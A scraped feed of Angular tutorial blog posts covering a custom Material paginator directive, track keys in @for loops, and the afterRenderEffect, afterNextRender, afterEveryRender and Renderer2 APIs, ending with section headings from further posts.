  private createBubbleDivRef(): void {
    const actionContainer = this.elementRef.nativeElement.querySelector('div.mat-mdc-paginator-range-actions');
    const nextButtonDefault = this.elementRef.nativeElement.querySelector('button.mat-mdc-paginator-navigation-next');

    // create a HTML element where all bubbles will be rendered
    this.bubbleContainerRef = this.ren.createElement('div') as HTMLElement;
    this.ren.addClass(this.bubbleContainerRef, 'g-bubble-container');

    // render element before the 'next button' is displayed
    this.ren.insertBefore(actionContainer, this.bubbleContainerRef, nextButtonDefault);
  }

  /**
   * helper function that builds all button and add dots
   * between the first button, the rest and the last button
   *
   * end result: (1) .... (4) (5) (6) ... (25)
   */
  private buildButtons(): void {
    if (!this.matPag) {
      return;
    }

    const neededButtons = Math.ceil(this.matPag.length / this.matPag.pageSize);

    // if there is only one page, do not render buttons
    if (neededButtons === 0 || neededButtons === 1) {
      this.ren.setStyle(this.elementRef.nativeElement, 'display', 'none');
      return;
    }

    // set back from hidden to block
    this.ren.setStyle(this.elementRef.nativeElement, 'display', 'block');

    // create first button
    this.buttonsRef = [this.createButton(0)];

    // add dots (....) to UI
    this.dotsStartRef = this.createDotsElement();

    // create all buttons needed for navigation (except the first & last one)
    for (let index = 1; index < neededButtons - 1; index++) {
      this.buttonsRef = [...this.buttonsRef, this.createButton(index)];
    }

    // add dots (....) to UI
    this.dotsEndRef = this.createDotsElement();

    // create last button to UI after the dots (....)
    this.buttonsRef = [...this.buttonsRef, this.createButton(neededButtons - 1)];
  }

  /**
   * Remove all buttons from DOM
   */
  private removeButtons(): void {
    this.buttonsRef.forEach(button => {
      this.ren.removeChild(this.bubbleContainerRef, button);
    });

    // remove dots
    if (this.dotsStartRef) {
      this.ren.removeChild(this.bubbleContainerRef, this.dotsStartRef);
    }
    if (this.dotsEndRef) {
      this.ren.removeChild(this.bubbleContainerRef, this.dotsEndRef);
    }

    // Empty state array
    this.buttonsRef.length = 0;
  }

  /**
   * create button HTML element
   */
  private createButton(i: number): HTMLElement {
    const bubbleButton = this.ren.createElement('div');
    const text = this.ren.createText(String(i + 1));

    // add class & text
    this.ren.addClass(bubbleButton, 'g-bubble');
    this.ren.setStyle(bubbleButton, 'margin-right', '8px');
    this.ren.appendChild(bubbleButton, text);

    // react on click
    this.ren.listen(bubbleButton, 'click', () => {
      this.switchPage(i);
    });

    // render on UI
    this.ren.appendChild(this.bubbleContainerRef, bubbleButton);

    // set style to hidden by default
    this.ren.setStyle(bubbleButton, 'display', 'none');

    return bubbleButton;
  }

  /**
   * helper function to create dots (....) on DOM indicating that there are
   * many more bubbles until the last one
   */
  private createDotsElement(): HTMLElement {
    const dotsEl = this.ren.createElement('span');
    const dotsText = this.ren.createText('.....');

    // add class
    this.ren.setStyle(dotsEl, 'font-size', '18px');
    this.ren.setStyle(dotsEl, 'margin-right', '8px');
    this.ren.setStyle(dotsEl, 'padding-top', '6px');
    this.ren.setStyle(dotsEl, 'color', '#919191');

    // append text to element
    this.ren.appendChild(dotsEl, dotsText);

    // render dots to UI
    this.ren.appendChild(this.bubbleContainerRef, dotsEl);

    // set style none by default
    this.ren.setStyle(dotsEl, 'display', 'none');

    return dotsEl;
  }

  /**
   * Helper function to switch page
   */
  private switchPage(i: number): void {
    if (!this.matPag) {
      return;
    }

    const previousPageIndex = this.matPag.pageIndex;

    // switch page index of mat paginator
    this.matPag.pageIndex = i;

    // change active button styles
    this.changeActiveButtonStyles(previousPageIndex, this.matPag.pageIndex);

    // need to trigger page event manually, because we are changing pageIndex programmatically
    this.matPag.page.emit({
      pageIndex: i,
      pageSize: this.matPag.pageSize,
      length: this.matPag.length,
      previousPageIndex: previousPageIndex,
    });
  }
}

Injecting Dependencies

inject(MatPaginator, { optional: true, self: true, host: true })
inject(ElementRef)
inject(Renderer2)

MatPaginator - we hook into its current pageIndex, pageSize, and its page stream
ElementRef - root element of the paginator (so we can query its internals)
Renderer2 - the safe way to create elements, set styles/classes, and listen to events. Works nicely with SSR and avoids direct DOM APIs

Input / Output Bindings

showFirstButton = input(true); & showLastButton = input(true); - whether to display first and last buttons for fast navigation on the start / end of the table
renderButtonsNumber = input(2); - when you are on an active page, let’s say index 6 , then how many buttons before and after should we display
paginationSize - this input is required to detect changes in the table length (after filtering or loading new data). When it changes, the directive re-renders the bubbles to match the correct number of pages

Core Logic Execution

The directive itself is around 300 lines of code, but when you try to understand how it works, the main logic is inside the buildButtonsEffect effect, such as:

readonly buildButtonsEffect = afterRenderEffect(() => {
  // rebuild buttons when pagination size change
  this.paginationSize();

  untracked(() => {
    // remove buttons before creating new ones
    this.removeButtons();

    // set some default styles to mat pagination
    this.styleDefaultPagination();

    // create bubble container
    this.createBubbleDivRef();

    // create all buttons
    this.buildButtons();

    // switch back to page 0
    this.switchPage(0);
  });
});

What is great about the effect, is that, it will re-execute when length (size) of the elements change, so for example if you have one table, but doing server-side data filtering, then each time new data arrives, bubbles will be recalculated due to paginationSize signal input. The brief overview is described below.

paginationSize - listen on page size changes (on new data) to recalculate bubbles
removeButtons() – clear previous custom DOM (if re-running)
styleDefaultPagination() – hide certain default Material bits and position labels
createBubbleDivRef() – create a container where our bubbles will live
buildButtons() – create bubbles + dots based on total length and page size
switchPage(0) – start from page 0 to keep things predictable

You may also ask, why we use afterRenderEffect instead of effect ? The reason is that afterRenderEffect is executed only in the browser, but effect also runs on the server side. It could lead to some errors if your app supports SSR. For a deeper explanation, check out my afterRenderEffect, afterNextRender, afterEveryRender & Renderer2 article.

Core Logic Execution - Switching Page Manually

The custom bubbles live outside Angular Material’s built-in controls. That means when a user clicks a bubble, nothing in MatPaginator fires by itself, we have to connect the click to the paginator so the table (and anyone subscribed to matPag.page) reacts, hence the need for switchPage() function.

private createButton(index: number): HTMLElement {
  // our unique bubble showing a specific page - 1, 2, etc.
  const bubbleButton = this.ren.createElement('div');

  // ... some code ...

  this.ren.listen(bubbleButton, 'click', () => {
    this.switchPage(index);
  });

  // ... some code ...
}

private switchPage(index: number): void {
  if (!this.matPag) {
    return;
  }

  const previousPageIndex = this.matPag.pageIndex;

  // switch page index of mat paginator
  this.matPag.pageIndex = index;

  // change active button styles
  this.changeActiveButtonStyles(previousPageIndex, this.matPag.pageIndex);

  // trigger page event manually, we are changing pageIndex programmatically
  this.matPag.page.emit({
    pageIndex: index,
    pageSize: this.matPag.pageSize,
    length: this.matPag.length,
    previousPageIndex: previousPageIndex,
  });
}

The key part of is this.matPag.pageIndex = index;, keeping the paginator’s internal state in sync with witch bubble was clicked. If you were to remove this line, the pagination would stop working.

Next, since we are programmatically changing the index of the paginator (mentioned above), when you navigate though the items in the table, the this.matPag.page will not emit by itself, therefore we also need to manually emit this data.

Paginator Style Updates

Inside styleDefaultPagination, you can see we’re directly accessing the paginator’s internal HTML elements to restyle them. Is this ideal? Probably not. Since it relies on exact class selectors like button.mat-mdc-paginator-navigation-next, it’s fragile. These internal selectors can change between Material versions.

This already happened when Material v15 introduced the new MDC components, which broke custom styling for many projects using ::ng-deep. What we’re doing here is a similar kind of hack, but for our use case it’s the most practical solution available. Still, it’s worth being aware of the tradeoff.

Custom Styles

Once the logic is done, we still need some styling to make it actually look like bubbles. This part is mostly CSS (or SCSS), and you can adjust it to fit your own theme. In my example, each bubble is a simple flex container with centered text, a hover state, and an active state to highlight the current page.

/* Custom paginator styles */
.g-bubble-container {
  display: flex;
  gap: 4px;
}

.g-bubble {
  background-color: #f0f0f0;
  border-radius: 50%;
  width: 34px;
  height: 34px;
  display: flex;
  align-items: center;
  justify-content: center;
  color: #2e2e2e;
  font-size: 14px;
  cursor: pointer;
  transition: 0.3s;

  &:hover {
    background-color: #636363;
    color: orange;
  }
}

.g-bubble__active {
  background-color: #636363;
  color: orange;
}

mat-paginator {
  background: transparent !important;
  /* need mat-paginator range to align with other mat-table elements */
  position: relative;
}

/* override alignment for the labels that shows "x of y" */
.mat-mdc-paginator-range-label {
  margin: 0 !important;
}

Things to Keep in Mind

There are a few small details that are good to keep in mind:

Renderer2 limitations - you can’t directly use pseudo-classes (::before, ::after) from within the directive, keep your visual parts inside SCSS files
Changing Angular Material internals - as mentioned earlier, mat-mdc- selectors can change in future Material versions, it’s one of the risks of this directive
Accessibility (a11y) - since these are custom clickable divs, you might want to add role="button" and tabindex="0" attributes so users can navigate the bubbles with a keyboard. You can also listen for keydown events and simulate click behavior with the space or enter key
SSR / Hydration - if you’re running Angular SSR, the directive should still work fine, since Renderer2 is SSR safe and we are using afterRenderEffect to render bubbles only on the client-side
Active Button State - currently when we load more data into the table and re-execute the logic of rendering bubbles, we go back to the first page, so no active state was implemented yet
Important input [appBubblePaginationLength] to bound the table length. Without it, the afterRenderEffect will not be notified that new data have arrived and buttons will not be rebuilt

Summary

By the end of this post, you should have a working, MDC compatible paginator. The goal here wasn’t to replace Angular Material, but to show how far you can go using directives + Renderer2, to enhance an existing Material component, without creating your own custom paginator from scratch.

Of course there may be some room for improvement, it is still a simple directive, so if you have any suggestions, feel free to comment. Hope you liked this example, catch more of my articles on dev.to, connect with me on LinkedIn or check my Personal Website.

Angular - For Loop Optimizations

Eduard Krivanek — Thu, 02 Oct 2025 17:58:46 +0000

In my recent article about Senior Angular Interview Questions, I mentioned a section about optimizing forloops with the trackmethod. However, I also pointed out that the choice of value you use for tracking really matters. Even if you add track, it might not actually make your rendering more performant if used incorrectly. This article expands on that section with additional explanation and examples.

The track function is a useful performance optimization that was often overlooked with the old *ngFor="let item of items" syntax. Fortunately, the new control flow @for() now requires you to specify a track function, which encourages better practices.

So, why is it important? Imagine you have a component that makes an API call to fetch a list of items, list of users, and displays them in the template. You also have a “reload” button to refetch this data (in case something has changed on the backend). Below is an example using the older *ngFor syntax to illustrate the issue:

@Component({
  selector: 'app-child',
  imports: [NgForOf],
  template: ` 
    <button (click)="onRerun()">re run</button>

    <div *ngFor="let item of items()">
        {{item.name}}
    </div>
`
})
export class ChildComponent {
  items = signal<{ id: string; name: string }[]>([]);

  onRerun() {
    // "fake api call" to reload data
    this.items.set([{id: '100', name: 'Item 1'}, /* ... */ ]);
  }
}

In this setup, every time onRerun() is triggered and the array is updated (even with the same content), Angular will re-render all elements in the DOM. That's because it can't tell which items stayed the same and why didn't. It result to performance loss and UI flickering, especially in long or complex lists. To prevent this, you use a trackBy function:

@Component({
  selector: 'app-child',
  imports: [CommonModule],
  template: ` 
    <ng-container *ngFor="let item of items(); trackBy: identify">
        <!-- previous code -->
    </ng-container>
`
})
export class ChildComponent {
  // ... previous code

  identify(index: number, item: { id: string }): string | number {
    return item.id;
  }
}

This tells Angular how to uniquely identify items in the array, commonly via an id. With a trackBy function (or track key in @for()), Angular can associate each item with its corresponding DOM element. When the data is reloaded, Angular compares these keys (not full object references), allowing unchanged items to be preserved in the DOM.

Why does this matter? Because DOM operations are expensive. Without proper tracking, Angular discards and recreates DOM elements for every item, even if the data hasn't changed. With tracking, the DOM elements stay in place, and Angular only updates bindings when necessary.

On the GIF below, the top list uses trackBy: identify while the second one does not. You can see the difference. The top list preserves DOM elements during data reload, whereas the second recreates them entirely each time.

With the new @for() syntax, Angular enforces the use of a track key for the same purpose. However, two common mistakes still happen:

Using the object itself as the key - example: @for (item of items(); track item). This does not work as expected because the reference to each item changes on every reload, even if the data is identical and it will re-render the UI every time, basically ignoring the track function.
Using $index as the key - example: @for (item of items(); track $index). This causes problems when an item is removed. Suppose you delete the 5th item in a list of 10, then every item after index 4 now has a new index, forcing Angular to re-render them all unnecessarily. In stateful components like forms, this leads to loss of input focus or cursor position, however using the $index is okay for static lists.

Here's a comparison: the top row uses track item.id, and the second uses track $index. Watch how the first preserves DOM elements during removal. Here is a stackblitz example to play with.

If you’re rendering a static list of rows in a table, or a fixed ordered list that never changes its order or size, tracking by $index works because the identity of each item will never shift. In these scenarios, you don’t risk losing focus, cursor position, or component state since nothing is being reordered or removed. Use $index only for completely static, non-interactive lists. For anything dynamic or stateful, always track by a stable identifier like id.

A great example where proper tracking really matters is an infinite scroll or chat application. Imagine you’re building a chat window. As new messages arrive, they’re pushed into the list, and when you scroll up, older messages are loaded from the server.

If you don’t use a proper track key (like message.id), Angular will re-render the entire list whenever new data is appended. That means the scroll position jumps, the user loses their place, and any ongoing animations are lost.

Using an unique key for tracking (like ID), Angular reuses the existing DOM nodes for older messages and only creates DOM nodes for the new ones. This preserves scroll position, keeps animations smooth, and makes the whole app feel more stable and responsive. On the following example you see an incorrect usage of for loop, using the $index for tracking and every time a new message comes, the whole list is re-rendered.

@Component({
  selector: 'app-chat',
  standalone: true,
  template: `
     @for(msg of messages(); track $index){
         <div>
           { msg.user }}: {{ msg.text }}
         </div>
     }

    <button (click)="loadOlder()">Load older</button>
  `,
})
export class ChatComponent {
  readonly messages = signal([
    { id: 1, user: 'Alice', text: 'Hello' },
    { id: 2, user: 'Bob', text: 'Hi' },
  ]);

  loadOlder() {
    const older = [
      { id: 0, user: 'System', text: `Message: ${this.messages().length}` },
    ];
    this.messages.set([...older, ...this.messages()]);
  }
}

Hope you liked the article, feel free to share your thoughts, catch more of my articles on So fail. Then fail better. And maybe one day, you'll be writing blog posts like this, after you've finished crying over your failed side project. Hope you liked these short stories. Feel free to share your thoughts, catch more of my articles on dev.to, connect with me on LinkedIn or check my Personal Website.

afterRenderEffect, afterNextRender, afterEveryRender & Renderer2

Eduard Krivanek — Tue, 16 Sep 2025 18:13:05 +0000

Recently I’ve been playing around with some Angular functionalities, which are: effect, afterRenderEffect, afterNextRender, afterEveryRender and Renderer2. You don’t see them used much compared to signals or computed. Maybe only effect is more common, however how and when to use the rest?

I wanted to write about them because I kept mixing them up myself, therefore this post is as much for me as for anyone else. I want to touch on each of them, look at some examples, how they differ, and also check how they behave with SSR. The article was originally posted on Angular Spaces.

Using `effect`

The effect() will run at least once and then every time the dependency signal (or multiple one) changes. A shameless plug to my Senior Angular Interview Questions, I talked about the diamond problem in RxJS and how it’s not present in signals. Meaning if you have an effect with multiple signal dependencies and you update those signal, one after another, then the effect will still run only once, since signals are synchronous compared to Observables which are asynchronous and the logic could be re-executed multiple times, causing side-effects.

Use effect when you want to bridge the gap between a reactive state (signals) and a non-reactive execution. Use cases which you hear many times are mainly DOM updates, logging, or even executing a fetch() API call to the server. Other less common examples may be for example local storage updates, analytics tracking, chart data updates or setting loading state.

// state of the used theme
readonly theme = signal<'light' | 'dark'>('light');

// track what page we are on
readonly currentPage = signal('home');

// data to render a chart
readonly chartData = signal([1, 2, 3]);

// loading state of the app
readonly loading = signal(false);

constructor() {
  effect(() => {
    // change theme & save it
    document.body.dataset.theme = this.theme();
    localStorage.setItem('theme', this.theme());
  });

  effect(() => {
    // sends data to a 3rd party
    analytics.trackPage(this.currentPage());
  });

  effect(() => {
    // updates values in the chart
    updateChart(this.chartData());
  });

  effect(() => {
    // dependency to listen to
    const chartData = this.chartData();

    untracked(() => {
        this.loading.set(true);
    })
  })
}

When it comes to SSR, you have to be a bit careful with effect(). It also runs on the server, at least once (even if dependencies are undefined), and then all the time when its dependencies change. An empty effect is also executed: effect(() => console.log('Empty effect'));

In SSR you don’t actually have a browser, so there’s no window, document, or localStorage. If you drop DOM calls or browser APIs directly into an effect, it’ll throw during the server render. The trick is to only use effect() on the server for things that are safe in a Node environment. Anything that touches the DOM should be wrapped in something like isPlatformBrowser or pushed into afterRenderEffect, which runs only in the browser after Angular has finished painting.

Another point worth highlighting is cleanup function - EffectCleanupRegisterFn. Just like in RxJS where you unsubscribe from a stream, effect() also gives you a way to tear things down when the effect is destroyed. This is helpful when wiring up elements like event listeners, intervals, or external libraries that require explicit cleanup.

It's the first available argument in the effect() function. There is no naming convention, it will work with any name, but most developers call it onCleanup(). Use it inside your effect to make sure you don’t leak memory or leave hanging listeners when the component goes away. It’s easy to forget, but in larger apps, this can save you from nasty performance issues.

@Component({
  selector: 'app-resize-listener',
  template: `
    <p>Window width: {{ width() }}</p>
  `
})
export class ResizeListenerComponent {
  // reactive signal that stores the current width
  readonly width = signal(window.innerWidth);

  constructor() {
    effect((onCleanup) => {
      const updateWidth = () => this.width.set(window.innerWidth);
      window.addEventListener('resize', updateWidth);

      // cleanup when effect is destroyed
      onCleanup(() => {
        window.removeEventListener('resize', updateWidth);
      });
    });
  }
}

Using `afterRenderEffect`

The afterRenderEffect is more preferable for DOM updates, browser APIs, or integrations that don’t make sense on the server (like canvas drawing, chart rendering, or measuring element sizes). It is executed after Angular has painted the view in the browser. From the first examples, you could say that updating data in charts is better suited for the afterRenderEffect since we are performing a DOM update.

When you open up the documentation for this function, Angular team highlights that “You should prefer specifying an explicit phase for the effect instead, or you risk significant performance degradation.”

In real life, you may have an example of displaying a PDF file to an user and you want to track (in percentage) how far he has scrolled in the document. One of the (many) ways how to achieve this behavior is the following:

@Component({
  selector: 'app-root',
  template: `
    <div #divTop style="height: 20px; position: sticky; top: 0"></div>

    <div #divRef style="height: 400px; overflow: scroll">
      <!-- this is the PDF -->
      <div style="height: 3000px; background: red"></div>
    </div>
  `,
})
export class App {
  readonly divRef = viewChild<ElementRef<HTMLDivElement>>('divRef');
  readonly divTop = viewChild<ElementRef<HTMLDivElement>>('divTop');

  readonly scrollPercentage = toSignal(
    toObservable(this.divRef).pipe(
      filter((el) => !!el),
      switchMap((el) =>
        fromEvent(el.nativeElement, 'scroll').pipe(
          map(() => {            
            const scrollHeight = divRef.nativeElement.scrollHeight ?? 1;
            const clientHeight = divRef.nativeElement.clientHeight ?? 1;
            const scrollTop = divRef.nativeElement.scrollTop ?? 0;

            const scrolled = Math.round(
                (scrollTop / (scrollHeight - clientHeight)) * 100
            );

            return scrolled;
          })
        )
      )
    ),
    { initialValue: 0 }
  );

  constructor() {
    afterRenderEffect({
      // creating dependency on the scroll signal
      earlyRead: () => this.scrollPercentage(),
      // write to DOM every time scrollPercentage emits
      write: (val, cleanUp) => {
        const divTop = this.divTop();
        if (!divTop) {
          return;
        }

        divTop.nativeElement.innerText = `Scroll: ${val()}%`;
      },
    });
  }
}

In the above example, the afterRenderEffect is triggered once the browser finishes painting the DOM element. It then uses the earlyRead callback to register the scrollPercentage signal dependency. Every time scrollPercentage emits (as you scroll), the write phase is triggered to update the DOM.

Of course you can achieve this exact result without using the afterRenderEffect and just directly interpolating the scrollPercentage signal in the HTML ({{ scrollPercentage() }}).

The documentation about afterRenderEffect also talks about the read optionality, so what’s the difference?

Use earlyRead when you want to read the DOM before any writes happen. Angular runs the earlyRead callback first, so you can grab measurements (width, height, etc.), before any DOM updates, and pass that information to the write phase.
Use read when Angular has applied all styles in the write phase, as this one runs after it. It’s good when you want to read some correct measurements after all UI changes, but you can not pass those values back to the write phase. Only earlyRead allows passing values to the write operation.

You also have the option to use the mixedReadWrite phase, which allows you to read and subsequently write data to the DOM; however, Angular recommends avoiding it and using the previously described ones. The phase order:

earlyRead
write
mixedReadWrite
read

One other great resource I’ve found is from Code Shots With Profanis - Get to Know the AfterRenderEffect hook in Angular. I do recommend checking out his explanation on this topic.

From my understanding, when you only use client-side rendering and you ignore the phases in afterRenderEffect, then it behaves the same as effect. My above example with the scroll can also be achieved by the following:

  constructor() {
    // example 1
    afterRenderEffect(() => {
      const val = this.scrollPercentage();
      const divTop = this.divTop();

      divTop.nativeElement.innerText = `Scroll: ${val}%`;
    });

    // example 2
    effect(() => {
      const val = this.scrollPercentage();
      const divTop = this.divTop();

      divTop.nativeElement.innerText = `Scroll: ${val}%`;
    });
  }

NOTE: However, not utilizing the rendering phases, you are risking layout thrashing. It happens when the browser is forced to repeatedly recalculate the layout, because your code is reading from and writing to the DOM in an uncoordinated way, creating a so called loop. By separating earlyRead (all reads) from write (all writes), Angular batches DOM reads before any writes happen. This avoids any unexpected looping behavior.

Using `afterNextRender` and `afterEveryRender`

The documentation about these two function says that: “we can register a render callback to be invoked after Angular has finished rendering all components on the page into the DOM.”. The idea is the following:

afterNextRender runs only once after Angular paints the view for the first time
afterEveryRender runs after every render cycle, like a subscription to render events

If we were to compare these two functions to a life cycle hook, the closest (in behavior) we would get is afterNextRender to ngAfterViewInit and afterEveryRender to ngAfterViewChecked, as afterEveryRender runs every time a tick() re-renders something dirty. Compared to life cycle hooks, afterNextRender and afterEveryRender only run on the client side, whereas life cycle hooks are also triggered on SSR.

The other difference is that the hooks are scoped at the component level, while afterNextRender and afterEveryRender are scoped to the rendering of the whole app (the page we are looking at). Angular’s team also provides a simple diagram to better understand the execution order.

Understanding afterNextRender is a bit simpler, since it is executed only once, after DOM has been painted. You can put logic from ngOnInit into it, as afterNextRender is called inside the constructor. You can render data into charts once, or focus on an empty input element:

@Component({
  selector: 'app-root',
  template: `
     <input #input placeholder="first" value="Test1" />
     <input #input placeholder="second" />
     <input #input placeholder="third" />
  `,
})
export class App {
  readonly inputs = viewChildren<ElementRef<HTMLInputElement>>('input');

  constructor() {
    afterNextRender(() => {
      const inputs = this.inputs();
      const firstEmpty = inputs.find((d) => d.nativeElement.value == '');

      // this will focus on the 'second' input
      firstEmpty?.nativeElement?.focus();
    });
  }
}

Using afterEveryRender is, at least for my understanding, used for less common use cases. The question is: when do we actually need to execute some code after every rendering cycle? One example is the' onStable' method of ZoneJS. The onStable method is triggered every time a change detection occurs, and as we move toward zoneless applications, you can copy onStable logic into afterEveryRender, which will result in the same behavior. See the following code and GIF for a demonstration.

@Component({
  selector: 'app-resize-listener',
  standalone: true,
  template: `
    <button (click)="onClick1()">Empty Button</button>
    <button (click)="onClick2()">Text Button</button>

    <p>Text: {{ text() }}</p>
  `,
})
export class ResizeListenerComponent {
  private readonly ngZone = inject(NgZone);

  readonly text = signal('');

  constructor() {
    this.ngZone.onStable
      .asObservable()
      .subscribe((e) => console.log('ZoneJs - triggered'));

    afterEveryRender(() => {
      console.log('afterEveryRender - triggered');
    });
  }

  onClick1() {}

  onClick2() {
    this.text.update((prev) => `${prev}K`);
  }
}

In theory I could rewrite my first example with scroll value from Observables into afterEveryRender and it would work the same way:

@Component({
  selector: 'app-root',
  template: `
    <div #divTop style="height: 20px; position: sticky; top: 0"></div>

    <div #divRef style="height: 400px; overflow: scroll;">
      <div style="height: 3000px; background: red"></div>
    </div>
  `,
})
export class App {
  readonly divTop = viewChild<ElementRef<HTMLDivElement>>('divTop');
  readonly divRef = viewChild<ElementRef<HTMLDivElement>>('divRef');

  constructor() {
    afterEveryRender({
      earlyRead: () => ({
        divRef: this.divRef(),
        divTop: this.divTop(),
      }),
      write: (elements) => {
        const { divRef, divTop } = elements;
        if (!divTop || !divRef) {
          return;
        }

        const scrollHeight = divRef.nativeElement.scrollHeight ?? 1;
        const clientHeight = divRef.nativeElement.clientHeight ?? 1;
        const scrollTop = divRef.nativeElement.scrollTop ?? 0;

        const scrolled = Math.round(
          (scrollTop / (scrollHeight - clientHeight)) * 100
        );

        divTop.nativeElement.innerText = `Scroll: ${scrolled}%`;
      },
    });
  }
}

One question I was wondering about is whether to use afterEveryRender or maybe reach out to Renderer2 and apply listeners? The example with scroll percentage could be adjusted to use Renderer2 as follows:

@Component({
  selector: 'app-scroll-tracker',
  standalone: true,
  template: `
    <p>Scroll: {{ scrollPercent() }}%</p>

    <div #divRef style="height: 200px; overflow-y: scroll;">
      <div style="height: 1000px; background: lightblue"></div>
    </div>
  `,
})
export class ScrollTrackerComponent {
  private readonly renderer = inject(Renderer2);
  private readonly destroyRef = inject(DestroyRef);

  readonly divRef = viewChild<ElementRef<HTMLDivElement>>('divRef');
  readonly scrollPercent = signal(0);

  // reference to the listener to destroy it with the component
  private removeListener?: () => void;

  constructor() {
    afterNextRender({
      earlyRead: () => this.divRef()?.nativeElement,
      write: (box) => {
        if (!box) {
          return;
        }

        this.removeListener = this.renderer.listen(box, 'scroll', () => {
          const percent = Math.round(
            (box.scrollTop / (box.scrollHeight - box.clientHeight)) * 100
          );
          this.scrollPercent.set(percent);
        });
      },
    });

    // destroy listener with the component
    this.destroyRef.onDestroy(() => {
      this.removeListener?.();
    });
  }
}

Seems like there is always more than one solution for a problem. My understanding on the difference between these two is that:

Renderer2 is used when we want to attach some listeners or render on the DOM
afterEveryRender is used when we want to fire a callback once DOM painting is done

When is comes to the scroll example, the Renderer example makes more sense, since we track the scroll position (an event based behavior), however if we were want to scroll to the bottom of the page every time a new information is presented on the screen, in that case, afterEveryRender would be a more preferable option.

Summary

All in all, these tools don’t replace each other, but complement different needs. If your logic is purely reactive state, reach for effect. If it depends on the DOM, use afterRenderEffect. For one-time DOM adjustments after the first paint, use afterNextRender. If your logic needs to be executed on every DOM re-render, use afterEveryRender. Finally, Renderer2 is a universal way to attach listeners and manipulate the DOM without risking SSR crashes.

Hope you liked the article and I was able to provide some explanation on these functions. They were causing some confusion, at least for me, hence I decided to go deeper with them and try to explain them with my own words. Feel free to share your thoughts, catch more of my articles on dev.to, connect with me on LinkedIn or check my Personal Website.

DEV Community: Eduard Krivanek

Angular - @defer: Lazy Loading That Does Not Need a Route

What a defer block compiles to

How this differs from route-level lazy loading

The trigger is a decision, not a default

Picking one on purpose

Prefetch is a second decision

Placeholder, loading, and error

Measuring the win

Where it bites

Server rendering and hydration

Components that must be interactive immediately

Dependencies that arrive anyway

Putting it together

What to take away

Streaming AI Responses Into Your Angular App

Two ways to read a stream

Reading the stream

Where the API key lives

Handling the thinking before the answer

Rendering tokens in Angular

Typing the partial response

Canceling cleanly

Handling errors

Putting it together

Things that will still bite you

Summary

Going Zoneless in Angular: What Actually Breaks

What Zone.js did for you

Why Angular is dropping Zone.js

What replaces it

How the scheduler batches work

How to turn it on

Patterns that just work

What actually breaks

Timers and promises that set plain fields

Manual subscriptions

Raw listeners and third party callbacks

In place mutations with OnPush

Your tests

Web components and custom elements

Libraries that assume Zone.js

How to migrate without breaking everything

A real migration, feature by feature

What you win

Trade offs and when not to do it

Common mistakes to avoid

Questions I get asked

Will zoneless make my app faster?

Do I have to rewrite everything to signals first?

Can I keep Zone.js for a while?

What about NgZone.run and runOutsideAngular?

Is this related to OnPush?

Conclusion

Further reading

Learning in the age of AI

Learning in Age of AI Feels Like Drowning. Here's How I'm Trying to Swim

What learning in age of AI actually feels like

Why endless educational content kills motivation

What AI is good at for learning, and where it quietly sabotages you

What changed after university, and why learning feels emotionally harder now

What finally helped me: fewer inputs, more proof

Pick one skill with labor market value, not ten interesting topics

Build learning around outputs that can embarrass you

Use AI late in cycle, not early

Stop optimizing resource stack

Make peace with missing out on useful knowledge

What I do now during typical week

Monday: define one concrete question

Midweek: struggle in public or at least on paper

Then: use AI as reviewer, not ghostwriter

End of week: produce one artifact

What did not work for me

"Follow your curiosity"

"Use AI to personalize your learning"

"Learn in public"

"Just stay consistent"

Known limitations of this approach

What learning in age of AI should probably become

If you're 25 and feel behind, start here

Using `effect`

Using `afterRenderEffect`

Using `afterNextRender` and `afterEveryRender`